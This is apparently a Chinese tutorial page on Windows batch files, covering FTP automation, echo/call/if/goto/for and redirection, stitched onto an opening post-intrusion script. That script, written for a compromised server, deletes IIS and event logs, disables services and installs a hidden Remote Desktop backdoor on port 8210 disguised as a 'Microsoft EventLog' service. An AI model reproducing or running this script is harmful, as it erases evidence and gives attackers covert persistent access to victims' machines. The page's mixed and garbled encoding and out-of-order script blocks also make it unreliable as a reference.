@echo ［HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices@REMoteRegistry］ 》》patch.dll

@echo ”Start“=dword:00000004 》》patch.dll

@echo ［HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSchedule］ 》》patch.dll

@echo ”Start“=dword:00000004 》》patch.dll

@echo ［HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon］ 》》patch.dll

@echo ”ShutdownWithoutLogon“=”0“ 》》patch.dll

@REM ［禁止登錄前關(guān)機(jī)］

@echo ”DontDisplayLastUserName“=”1“ 》》patch.dll

@REM ［禁止顯示前一個(gè)登錄用戶名稱］

@regedit /s patch.dll

--------- cut here then save as .bat or .cmd file ---------

下面命令是清除肉雞所有日志，禁止一些危險(xiǎn)的服務(wù)，并修改肉雞的terminnal service留跳后路。

@regedit /s patch.dll

@net stop w3svc

@net stop event log

@del c:winntsystem32logfilesw3svc1*.* /f /q

@del c:winntsystem32logfilesw3svc2*.* /f /q

@del c:winntsystem32config*.event /f /q

@del c:winntsystem32dtclog*.* /f /q

@del c:winnt*.txt /f /q

@del c:winnt*.log /f /q

@net start w3svc

@net start event log

@rem ［刪除日志］

@net stop lanmanserver /y

@net stop Schedule /y

@net stop RemoteRegistry /y

@del patch.dll

@echo The server has been patched，Have fun.

@del patch.bat

@REM ［禁止一些危險(xiǎn)的服務(wù)。］

@echo ［HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp］ 》》patch.dll

@echo ”PortNumber“=dword:00002010 》》patch.dll

@echo ［HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp 》》patch.dll

@echo ”PortNumber“=dword:00002012 》》patch.dll

@echo ［HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD］ 》》patch.dll

@echo ”Start“=dword:00000002 》》patch.dll

@echo ［HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSecuService］ 》》patch.dll

@echo ”Start“=dword:00000002 》》patch.dll

@echo ”ErrorControl“=dword:00000001 》》patch.dll

@echo ”ImagePath“=hex（2）：25，00，53，00，79，00，73，00，74，00，65，00，6d，00，52，00，6f，00，6f，00， 》》patch.dll

@echo 74，00，25，00，5c，00，53，00，79，00，73，00，74，00，65，00，6d，00，33，00，32，00，5c，00，65， 》》patch.dll

@echo 00，76，00，65，00，6e，00，74，00，6c，00，6f，00，67，00，2e，00，65，00，78，00，65，00，00，00 》》patch.dll

@echo ”ObjectName“=”LocalSystem“ 》》patch.dll

@echo ”Type“=dword:00000010 》》patch.dll

@echo ”Descr1ption“=”Keep record of the program and windows‘’ message。“ 》》patch.dll

@echo ”DisplayName“=”Microsoft EventLog“ 》》patch.dll

@echo ［HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicestermservice］ 》》patch.dll

@echo ”Start“=dword:00000004 》》patch.dll

@copy c:winntsystem32termsrv.exe c:winntsystem32eventlog.exe

@REM ［修改3389連接，端口為8210（十六進(jìn)制為00002012），名稱為Microsoft EventLog，留條后路］

rem Author： Munga Bunga - from Australia， the land full of retarded Australian‘’s （help me get out of here）

用批處理命令實(shí)現(xiàn)FTP文件的自動(dòng)傳輸：

由于工作的原因，每天需要在Windows操作系統(tǒng)之間或與其它操作系統(tǒng)如UNIX等利用FTP進(jìn)行文件傳輸。經(jīng)常重復(fù)這樣的工作程序，即繁瑣又容易出 錯(cuò)。本人經(jīng)過(guò)思考摸索，在Windows操作系統(tǒng)的“任務(wù)計(jì)劃”幫助下，成功地用批處理命令實(shí)現(xiàn)FTP文件的自動(dòng)傳輸。現(xiàn)將此操作過(guò)程詳解，希望對(duì)同好有 所幫助，更望能拋磚引玉，提出更好的方法。

假設(shè)本機(jī)操作系統(tǒng)為Windows操作系統(tǒng)，需進(jìn)行文件傳輸?shù)哪夸洖镃：＼datatran；對(duì)方計(jì)算機(jī)操作系統(tǒng)為UNIX操作系統(tǒng)，IP地址為 10.30.15.3，需進(jìn)行文件傳輸?shù)哪夸洖镃：＼data，登錄用戶名為Anonymous，口令為123456。從本機(jī)到對(duì)方機(jī)接收文件操作方法如下：

第一步，先新建一個(gè)文本：

Open 10.31.15.3

User anonymous

123456

Cd data

Bin

Prompt

Mget *.*

Bye

Quit

Exit

將該文本保存為1.ftp存放到C盤(pán)根目錄。該文件只要擴(kuò)展名為ftp，前綴可任意取名。目錄也不一定要在根目錄，主要以方便為主。文本中Bin為用黑吧 碼格式傳輸文件，如用ASCII碼格式傳輸文件可去掉該行。如為本機(jī)向?qū)Ψ綑C(jī)發(fā)送文件，則只要將文本中的Mget替換成Mput即可。這之后，再新建另一 個(gè)文本：

C：

Cd datatran

ftp–n–s：”c：＼1.ftp”

新建完畢后將該文本保存為1.bat后存放在硬盤(pán)任何分區(qū)或軟盤(pán)中均可。這樣，第一步工作已經(jīng)完成，您隨時(shí)可以執(zhí)行該批處理文件進(jìn)行FTP文件的傳輸。

第二步，將該該批處理文件放在“任務(wù)計(jì)劃”中設(shè)定自動(dòng)運(yùn)行。方法是：打開(kāi)“開(kāi)始”菜單“程序”下“附件”中的“系統(tǒng)工具”，點(diǎn)擊“任務(wù)計(jì)劃”，執(zhí)行“添加 任務(wù)計(jì)劃”，按“任務(wù)計(jì)劃向?qū)?rdquo;提示將該批處理文件添加到任務(wù)計(jì)劃中，并指定執(zhí)行周期，之后再設(shè)下密碼后即完成。從此，計(jì)算機(jī)會(huì)根據(jù)您的設(shè)定，自動(dòng)周期性 地進(jìn)行文件接收或發(fā)送，不再需要您動(dòng)一下手指，真正做到它工作，您休息。

另外，如果是Windows操作系統(tǒng)之間進(jìn)行FTP進(jìn)行文件傳輸，只要去掉1.ftp中“Bin”一行就可以了。

echo、@、call、pause、rem（小技巧：用：：代替rem）是批處理文件最常用的幾個(gè)命令。

echo 表示顯示此命令后的字符

echo off 表示在此語(yǔ)句后所有運(yùn)行的命令都不顯示命令行本身

@與echo off相象，但它是加在每個(gè)命令行的最前面，表示運(yùn)行時(shí)不顯示這一行的命令行（只能影響當(dāng)前行）。

call 調(diào)用另一個(gè)批處理文件（如果不用call而直接調(diào)用別的批處理文件，那么執(zhí)行完那個(gè)批處理文件后將無(wú)法返回當(dāng)前文件并執(zhí)行當(dāng)前文件的后續(xù)命令）。

pause 運(yùn)行此句會(huì)暫停批處理的執(zhí)行并在屏幕上顯示Press any key to continue.。。的提示，等待用戶按任意鍵后繼續(xù)。

rem 表示此命令后的字符為解釋行（注釋），不執(zhí)行，只是給自己今后參考用的（相當(dāng)于程序中的注釋）。

例1：用edit編輯a.bat文件，輸入下列內(nèi)容后存盤(pán)為c：a.bat，執(zhí)行該批處理文件后可實(shí)現(xiàn)：將根目錄中所有文件寫(xiě)入 a.txt中，啟動(dòng)UCDOS，進(jìn)入WPS等功能。

批處理文件的內(nèi)容為： 　 命令注釋：

@echo off　不顯示后續(xù)命令行及當(dāng)前命令行

dir c：*.* 》a.txt　將c盤(pán)文件列表寫(xiě)入a.txt

call c：ucdosucdos.bat調(diào)用ucdos

echo 你好 顯示”你好“

pause 暫停，等待按鍵繼續(xù)

rem 準(zhǔn)備運(yùn)行wps 　 注釋：準(zhǔn)備運(yùn)行wps

cd ucdos　 進(jìn)入ucdos目錄

wps 　 運(yùn)行wps

批處理文件的參數(shù)：

批處理文件還可以像C語(yǔ)言的函數(shù)一樣使用參數(shù)（相當(dāng)于DOS命令的命令行參數(shù)），這需要用到一個(gè)參數(shù)表示符“%”。

%［1-9］表示參數(shù)，參數(shù)是指在運(yùn)行批處理文件時(shí)在文件名后加的以空格（或者Tab）分隔的字符串。變量可以從%0到%9，%0表示批處理命令本身，其它參數(shù)字符串用%1到%9順序表示。

例2：C：根目錄下有一批處理文件名為f.bat，內(nèi)容為：

@echo off

format %1

如果執(zhí)行C：》f a：

那么在執(zhí)行f.bat時(shí)，%1就表示a：，這樣format %1就相當(dāng)于format a：，于是上面的命令運(yùn)行時(shí)實(shí)際執(zhí)行的是format a：

例3：C：根目錄下一批處理文件名為t.bat，內(nèi)容為：

@echo off

type %1

type %2

那么運(yùn)行C：》t a.txt b.txt

%1 ： 表示a.txt

%2 ： 表示b.txt

于是上面的命令將順序地顯示a.txt和b.txt文件的內(nèi)容。

特殊命令

if goto choice for是批處理文件中比較高級(jí)的命令。

if

是條件語(yǔ)句，用來(lái)判斷是否符合規(guī)定的條件，從而決定執(zhí)行不同的命令。 有三種格式：

if ［not］ ”參數(shù)“ == ”字符串“ 待執(zhí)行的命令

參數(shù)如果等于（not表示不等，下同）指定的字符串，則條件成立，運(yùn)行命令，否則運(yùn)行下一句。

例：if ”%1“==”a“ format a：

if ［not］ exist ［路徑］文件名 待執(zhí)行的命令

如果有指定的文件，則條件成立，運(yùn)行命令，否則運(yùn)行下一句。

如： if exist c：config.sys type c：config.sys

表示如果存在c：config.sys文件，則顯示它的內(nèi)容。

if errorlevel 《數(shù)字》 待執(zhí)行的命令

很多DOS程序在運(yùn)行結(jié)束后會(huì)返回一個(gè)數(shù)字值用來(lái)表示程序運(yùn)行的結(jié)果（或者狀態(tài)），通過(guò)if errorlevel命令可以判斷程序的返回值，根據(jù)不同的返回值來(lái)決定執(zhí)行不同的命令（返回值必須按照從大到小的順序排列）。如果返回值等于指定的數(shù)字，則條件成立，運(yùn)行命令，否則運(yùn)行下一句。

如if errorlevel 2 goto x2

goto

批處理文件運(yùn)行到這里將跳到goto所指定的標(biāo)號(hào)（標(biāo)號(hào)即label，標(biāo)號(hào)用：后跟標(biāo)準(zhǔn)字符串來(lái)定義）處，goto語(yǔ)句一般與if配合使用，根據(jù)不同的條件來(lái)執(zhí)行不同的命令組。

如：

goto end

：end

echo this is the end

標(biāo)號(hào)用“：字符串”來(lái)定義，標(biāo)號(hào)所在行不被執(zhí)行。

choice

使用此命令可以讓用戶輸入一個(gè)字符（用于選擇），從而根據(jù)用戶的選擇返回不同的errorlevel，然后于if errorlevel配合，根據(jù)用戶的選擇運(yùn)行不同的命令。

注意：choice命令為DOS或者Windows系統(tǒng)提供的外部命令，不同版本的choice命令語(yǔ)法會(huì)稍有不同，請(qǐng)用choice /？查看用法。

choice的命令語(yǔ)法（該語(yǔ)法為Windows 2003中choice命令的語(yǔ)法，其它版本的choice的命令語(yǔ)法與此大同小異）：

CHOICE ［/C choices］ ［/N］ ［/CS］ ［/T timeout /D choice］ ［/M text］

描述：

該工具允許用戶從選擇列表選擇一個(gè)項(xiàng)目并返回所選項(xiàng)目的索引。

參數(shù)列表：

/C choices 指定要?jiǎng)?chuàng)建的選項(xiàng)列表。默認(rèn)列表是 ”YN“。

/N 在提示符中隱藏選項(xiàng)列表。提示前面的消息得到顯示，選項(xiàng)依舊處于啟用狀態(tài)。

/CS 允許選擇分大小寫(xiě)的選項(xiàng)。在默認(rèn)情況下，這個(gè)工具是不分大小寫(xiě)的。

/T timeout 做出默認(rèn)選擇之前，暫停的秒數(shù)。可接受的值是從0到9999。如果指定了 0，就不會(huì)有暫停，默認(rèn)選項(xiàng)會(huì)得到選擇。

/D choice 在 nnnn 秒之后指定默認(rèn)選項(xiàng)。字符必須在用 /C 選項(xiàng)指定的一組選擇中; 同時(shí)，必須用 /T 指定 nnnn。

/M text 指定提示之前要顯示的消息。如果沒(méi)有指定，工具只顯示提示。

/？ 顯示幫助消息。

注意：

ERRORLEVEL 環(huán)境變量被設(shè)置為從選擇集選擇的鍵索引。列出的第一個(gè)選擇返回 1，第二個(gè)選擇返回 2，等等。如果用戶按的鍵不是有效的選擇，該工具會(huì)發(fā)出警告響聲。如果該工具檢測(cè)到錯(cuò)誤狀態(tài)，它會(huì)返回 255 的ERRORLEVEL 值。如果用戶按 Ctrl+Break 或 Ctrl+C 鍵，該工具會(huì)返回 0的 ERRORLEVEL 值。在一個(gè)批程序中使用 ERRORLEVEL 參數(shù)時(shí)，將參數(shù)降序排列。

示例：

CHOICE /？

CHOICE /C YNC /M ”確認(rèn)請(qǐng)按 Y，否請(qǐng)按 N，或者取消請(qǐng)按 C。“

CHOICE /T 10 /C ync /CS /D y

CHOICE /C ab /M ”選項(xiàng) 1 請(qǐng)選擇 a，選項(xiàng) 2 請(qǐng)選擇 b。“

CHOICE /C ab /N /M ”選項(xiàng) 1 請(qǐng)選擇 a，選項(xiàng) 2 請(qǐng)選擇 b。“

如果我運(yùn)行命令：CHOICE /C YNC /M ”確認(rèn)請(qǐng)按 Y，否請(qǐng)按 N，或者取消請(qǐng)按 C。“

屏幕上會(huì)顯示：

確認(rèn)請(qǐng)按 Y，否請(qǐng)按 N，或者取消請(qǐng)按 C。 ［Y，N，C］？

例：test.bat的內(nèi)容如下（注意，用if errorlevel判斷返回值時(shí)，要按返回值從高到低排列）：

@echo off

choice /C dme /M ”defrag，mem，end“

if errorlevel 3 goto end

if errorlevel 2 goto mem

if errotlevel 1 goto defrag

：defrag

c：dosdefrag

goto end

：mem

mem

goto end

：end

echo good bye

此批處理運(yùn)行后，將顯示“defrag，mem，end［D，M，E］？” ，用戶可選擇d m e ，然后if語(yǔ)句根據(jù)用戶的選擇作出判斷，d表示執(zhí)行標(biāo)號(hào)為defrag的程序段，m表示執(zhí)行標(biāo)號(hào)為mem的程序段，e表示執(zhí)行標(biāo)號(hào)為end的程序段，每個(gè)程序段最后都以goto end將程序跳到end標(biāo)號(hào)處，然后程序?qū)@示good bye，批處理運(yùn)行結(jié)束。

for 循環(huán)命令，只要條件符合，它將多次執(zhí)行同一命令。

語(yǔ)法：

對(duì)一組文件中的每一個(gè)文件執(zhí)行某個(gè)特定命令。

FOR %%variable IN （set） DO command ［command-parameters］

%%variable 指定一個(gè)單一字母可替換的參數(shù)。

（set） 指定一個(gè)或一組文件。可以使用通配符。

command 指定對(duì)每個(gè)文件執(zhí)行的命令。

command-parameters

為特定命令指定參數(shù)或命令行開(kāi)關(guān)。

例如一個(gè)批處理文件中有一行：

for %%c in （*.bat *.txt） do type %%c

則該命令行會(huì)顯示當(dāng)前目錄下所有以bat和txt為擴(kuò)展名的文件的內(nèi)容。

重定向操作

可以使用重定向操作符將命令輸入和輸出數(shù)據(jù)流從默認(rèn)位置重定向到其他位置。輸入或輸出數(shù)據(jù)流的位置稱為句柄。

下表將列出可用的句柄。

句柄句柄的數(shù)字代號(hào)描述

STDIN0鍵盤(pán)輸入

STDOUT1輸出到命令提示符窗口

STDERR2錯(cuò)誤輸出到命令提示符窗口

UNDEFINED3-9句柄由應(yīng)用程序單獨(dú)定義，它們是各個(gè)工具特有的

數(shù)字 0 到 9 代表前 10 個(gè)句柄。可以使用命令 Cmd.exe 運(yùn)行程序，并對(duì)該程序前 10 個(gè)句柄中的任何一個(gè)句柄進(jìn)行重定向。要指定要用的句柄，在重定向操作符之前鍵入該句柄的數(shù)字。如果未定義句柄，則默認(rèn)的 《 重定向輸入操作符是 0，而默認(rèn)的 》 重定向輸出操作符是 1。鍵入 《 或 》 操作符之后，必須指定數(shù)據(jù)的讀寫(xiě)位置。可以指定文件名或其他現(xiàn)有的句柄。

要指定重定向到現(xiàn)有句柄，請(qǐng)使用與 （&） 字符，后面接要重定向的句柄號(hào)（即 &句柄號(hào)）。例如，下面的命令可以將句柄 2（即 STDERR）重定向到句柄 1（即 STDOUT）：

2》&1

重定向輸入”《“要通過(guò)鍵盤(pán)將輸入重定向到文件或設(shè)備，使用 ”《 “操作符。

例如，要從 File.txt 獲取 sort 命令的輸入，鍵入：

sort《file.txt

File.txt 的內(nèi)容將以字母順序列表的方式顯示在命令提示符窗口中。

”《 “操作符可以打開(kāi)具有只讀訪問(wèn)權(quán)限的指定文件名。因此，不能在使用該操作符時(shí)向文件中寫(xiě)入信息。例如，如果以 《&2 啟動(dòng)程序，則所有試圖讀取句柄 0 的操作都將失敗，因?yàn)榫浔?2 最初是以只寫(xiě)訪問(wèn)方式打開(kāi)的。

注意

•0 是 《 重定向輸入操作符的默認(rèn)句柄。

重定向輸出”》“

幾乎所有的命令都將輸出發(fā)送到命令提示符窗口。即使將輸出發(fā)送到驅(qū)動(dòng)器或打印機(jī)的命令也會(huì)在命令提示符窗口顯示消息和提示。

要將輸出從命令提示符窗口重定向到文件或設(shè)備，使用 》 操作符。可以在許多命令中使用該操作符

例如，要將 dir 輸出重定向到 Dirlist.txt，鍵入：

dir》dirlist.txt

如果 Dirlist.txt 不存在，Cmd.exe 將創(chuàng)建該文件。如果 Dirlist.txt 存在，Cmd.exe 將使用 dir 命令的輸出替換文件中的信息。

要運(yùn)行 netsh routing dump 命令，然后將輸出發(fā)送到 Route.cfg，鍵入：

netsh routing dump》c：route.cfg

”》“ 操作符可以打開(kāi)具有只寫(xiě)訪問(wèn)權(quán)限的指定文件。因此，不能使用該操作符讀取文件。例如，如果使用重定向操作符 》&0 啟動(dòng)程序，則寫(xiě)入句柄 1 的所有嘗試操作都將失敗，因?yàn)榫浔?0 最初是以只讀訪問(wèn)方式打開(kāi)的。

注意

•1 是 》 重定向輸出操作符的默認(rèn)句柄。

復(fù)制句柄

重定向操作符” & “可以將輸出或輸入從一個(gè)指定句柄復(fù)制到另一個(gè)指定的句柄。

例如，要將 dir 輸出發(fā)送到 File.txt 并將錯(cuò)誤輸出發(fā)送到 File.txt，鍵入：

dir》c：file.txt 2》&1

復(fù)制句柄時(shí)，可以復(fù)制該句柄原狀態(tài)的所有特性。例如，如果一個(gè)句柄具有只讀訪問(wèn)的屬性，則該句柄的所有副本都具有只讀訪問(wèn)屬性。不能將一個(gè)具有只讀訪問(wèn)屬性的句柄復(fù)制到另一個(gè)具有只寫(xiě)訪問(wèn)屬性的句柄。

使用”&“操作符重定向輸出和副本

要將重定向輸入操作符 ”《“ 與復(fù)制操作符 ”&“ 結(jié)合使用，指定的文件必須已經(jīng)存在。如果輸入文件存在，Cmd.exe 將以只讀方式打開(kāi)該文件，然后將文件包含的字符作為輸入發(fā)送到此命令（如同從鍵盤(pán)輸入一樣）。如果指定了句柄，Cmd.exe 將指定的句柄復(fù)制到系統(tǒng)現(xiàn)有的句柄中。

例如，要以句柄 0 輸入讀取（即 STDIN）的方式打開(kāi) File.txt，鍵入：

《 file.txt

要打開(kāi) File.txt，并在內(nèi)容排序后將輸出發(fā)送到命令提示符窗口（即 STDOUT），鍵入：

sort《 file.txt

要查找 File.txt，然后將句柄 1（即 STDOUT）和句柄 2（即 STDERR）重定向到 Search.txt，鍵入：

findfile file.txt》search.txt 2《&1

要以句柄 0 輸入讀取（即 STDIN）的方式復(fù)制用戶定義的句柄 3，鍵入：

《&3

使用”&“操作符重定向輸出和復(fù)制

如果將輸出重定向到文件且指定了現(xiàn)有的文件名，Cmd.exe 將以只寫(xiě)方式打開(kāi)文件并覆蓋該文件內(nèi)容。如果指定了句柄，Cmd.exe 將文件復(fù)制到現(xiàn)有句柄中。

要將用戶定義的句柄 3 復(fù)制到句柄 1，鍵入：

》&3

要將包括句柄 2（即 STDERR）的所有輸出從 ipconfig 命令重定向到句柄 1（即 STDOUT），然后將輸出重定向到 Output.log，鍵入：

ipconfig.exe》》output.log 2》&1

使用”》》“重定向操作符附加輸出

要從命令中將輸出添加到文件末尾而不丟失文件中已存在的任何信息，請(qǐng)使用兩個(gè)連續(xù)的大于號(hào)（即 》》）。

例如，使用下列命令可以將 dir 命令生成的目錄列表附加到 Dirlist.txt 文件：

dir》》dirlist.txt

要將 netstat 命令的輸出附加到 Tcpinfo.txt 的末尾，鍵入：

netstat》》tcpinfo.txt

使用管道操作符”|“

管道操作符 （|） 可以提取一個(gè)命令的輸出（默認(rèn)情況下是 STDOUT），然后將其定向到另一個(gè)命令的輸入（默認(rèn)情況下是 STDIN）中。

例如，使用下面的命令可以對(duì)目錄進(jìn)行分類：

dir | sort

在本例中，將同時(shí)啟動(dòng)兩個(gè)命令，但隨后 sort 命令會(huì)暫停，直到它接收到 dir 命令的輸出為止。sort 命令使用 dir 命令的輸出作為輸入，然后將輸出發(fā)送到句柄 1（即 STDOUT）。

合并帶重定向操作符的命令

通過(guò)合并帶有其他命令和文件名的篩選器命令，可以創(chuàng)建自定義命令。

例如，可以使用以下命令存儲(chǔ)包含“LOG”字符串的文件名：

dir /b | find ”log“ loglist.txt

dir 命令的輸出是通過(guò) find 篩選器命令進(jìn)行發(fā)送的。包含字符串“LOG”的文件名作為文件名列表（例如，NetshConfig.log、Logdat.svd 和 Mylog.bat）存儲(chǔ)在文件 Loglist.txt 中。

要在相同命令中使用多個(gè)篩選器，使用管道 （|） 分隔篩選器。

例如，下面的命令將搜索 C 盤(pán)上的每個(gè)目錄以查找包含“LOG”字符串的文件名，并且在命令提示符窗口中每次顯示一屏：

dir c： /s /b | find ”log“ | more

批處理示例：

IF-EXIST

1）

首先用記事本在C：建立一個(gè)test1.bat批處理文件，文件內(nèi)容如下：

@echo off

IF EXIST AUTOEXEC.BAT TYPE AUTOEXEC.BAT

IF NOT EXIST AUTOEXEC.BAT ECHO AUTOEXEC.BAT does not exist

然后運(yùn)行它：

C：》TEST1.BAT

如果C：存在AUTOEXEC.BAT文件，那么它的內(nèi)容就會(huì)被顯示出來(lái)，如果不存在，批處理就會(huì)提示你該文件不存在。

2）

接著再建立一個(gè)test2.bat文件，內(nèi)容如下：

@ECHO OFF

IF EXIST %1 TYPE %1

IF NOT EXIST %1 ECHO %1 does not exist

執(zhí)行：

C：》TEST2 AUTOEXEC.BAT

該命令運(yùn)行結(jié)果同上。

說(shuō)明：

（1） IF EXIST 是用來(lái)測(cè)試文件是否存在的，格式為

IF EXIST ［路徑+文件名］ 命令

（2） test2.bat文件中的%1是參數(shù)，DOS允許傳遞9個(gè)批參數(shù)信息給批處理文件，分別為%1~%9（%0表示test2命令本身） ，這有點(diǎn)象編程中的實(shí)參和形參的關(guān)系，%1是形參，AUTOEXEC.BAT是實(shí)參。

3） 更進(jìn)一步的，建立一個(gè)名為T(mén)EST3.BAT的文件，內(nèi)容如下：

@echo off

IF ”%1“ == ”A“ ECHO XIAO

IF ”%2“ == ”B“ ECHO TIAN

IF ”%3“ == ”C“ ECHO XIN

如果運(yùn)行：

C：》TEST3 A B C

屏幕上會(huì)顯示：

XIAO

TIAN

XIN

如果運(yùn)行：

C：》TEST3 A B

屏幕上會(huì)顯示

XIAO

TIAN

在這個(gè)命令執(zhí)行過(guò)程中，DOS會(huì)將一個(gè)空字符串指定給參數(shù)%3。

IF-ERRORLEVEL

建立TEST4.BAT，內(nèi)容如下：

@ECHO OFF

XCOPY C：AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷貝失敗

IF ERRORLEVEL 0 ECHO 成功拷貝文件

然后執(zhí)行文件：

C：》TEST4

如果文件拷貝成功，屏幕就會(huì)顯示“成功拷貝文件”，否則就會(huì)顯示“文件拷貝失敗”。

IF ERRORLEVEL 是用來(lái)測(cè)試它的上一個(gè)DOS命令的返回值的，注意只是上一個(gè)命令的返回值，而且返回值必須依照從大到小次序順序判斷。

因此下面的批處理文件是錯(cuò)誤的：

@ECHO OFF

XCOPY C：AUTOEXEC.BAT D：

IF ERRORLEVEL 0 ECHO 成功拷貝文件

IF ERRORLEVEL 1 ECHO 未找到拷貝文件

IF ERRORLEVEL 2 ECHO 用戶通過(guò)ctrl-c中止拷貝操作

IF ERRORLEVEL 3 ECHO 預(yù)置錯(cuò)誤阻止文件拷貝操作

IF ERRORLEVEL 4 ECHO 拷貝過(guò)程中寫(xiě)盤(pán)錯(cuò)誤

無(wú)論拷貝是否成功，后面的：

未找到拷貝文件

用戶通過(guò)ctrl-c中止拷貝操作

預(yù)置錯(cuò)誤阻止文件拷貝操作

拷貝過(guò)程中寫(xiě)盤(pán)錯(cuò)誤

都將顯示出來(lái)。

以下就是幾個(gè)常用命令的返回值及其代表的意義：

backup

0 備份成功

1 未找到備份文件

2 文件共享沖突阻止備份完成

3 用戶用ctrl-c中止備份

4 由于致命的錯(cuò)誤使備份操作中止

diskcomp

0 盤(pán)比較相同

1 盤(pán)比較不同

2 用戶通過(guò)ctrl-c中止比較操作

3 由于致命的錯(cuò)誤使比較操作中止

4 預(yù)置錯(cuò)誤中止比較

diskcopy

0 盤(pán)拷貝操作成功

1 非致命盤(pán)讀/寫(xiě)錯(cuò)

2 用戶通過(guò)ctrl-c結(jié)束拷貝操作

3 因致命的處理錯(cuò)誤使盤(pán)拷貝中止

4 預(yù)置錯(cuò)誤阻止拷貝操作

format

0 格式化成功

3 用戶通過(guò)ctrl-c中止格式化處理

4 因致命的處理錯(cuò)誤使格式化中止

5 在提示“proceed with format（y/n）？”下用戶鍵入n結(jié)束

xcopy

0 成功拷貝文件

1 未找到拷貝文件

2 用戶通過(guò)ctrl-c中止拷貝操作

4 預(yù)置錯(cuò)誤阻止文件拷貝操作

5 拷貝過(guò)程中寫(xiě)盤(pán)錯(cuò)誤

IF STRING1 == STRING2

建立TEST5.BAT，文件內(nèi)容如下：

@echo off

IF ”%1“ == ”A“ formAT A：

執(zhí)行：

C：》TEST5 A

屏幕上就出現(xiàn)是否將A：盤(pán)格式化的內(nèi)容。

注意：為了防止參數(shù)為空的情況，一般會(huì)將字符串用雙引號(hào)（或者其它符號(hào)，注意不能使用保留符號(hào)）括起來(lái)。

如：if ［%1］==［A］ 或者 if %1*==A*

GOTO

建立TEST6.BAT，文件內(nèi)容如下：

@ECHO OFF

IF EXIST C：AUTOEXEC.BAT GOTO _COPY

GOTO _DONE

：_COPY

COPY C：AUTOEXEC.BAT D：

：_DONE

注意：

（1） 標(biāo)號(hào)前是ASCII字符的冒號(hào)”：“，冒號(hào)與標(biāo)號(hào)之間不能有空格。

（2） 標(biāo)號(hào)的命名規(guī)則與文件名的命名規(guī)則相同。

（3） DOS支持最長(zhǎng)八位字符的標(biāo)號(hào)，當(dāng)無(wú)法區(qū)別兩個(gè)標(biāo)號(hào)時(shí)，將跳轉(zhuǎn)至最近的一個(gè)標(biāo)號(hào)。

FOR

建立C：TEST7.BAT，文件內(nèi)容如下：

@ECHO OFF

FOR %C IN （*.BAT *.TXT *.SYS） DO TYPE %C

運(yùn)行：

C：》TEST7

執(zhí)行以后，屏幕上會(huì)將C：盤(pán)根目錄下所有以BAT、TXT、SYS為擴(kuò)展名的文件內(nèi)容顯示出來(lái)（不包括隱藏文件）。

關(guān)于Windows的批處理命令就給大家講解到這邊了，大家可以先收藏此文，不懂或忘記的時(shí)候就可以前來(lái)翻閱。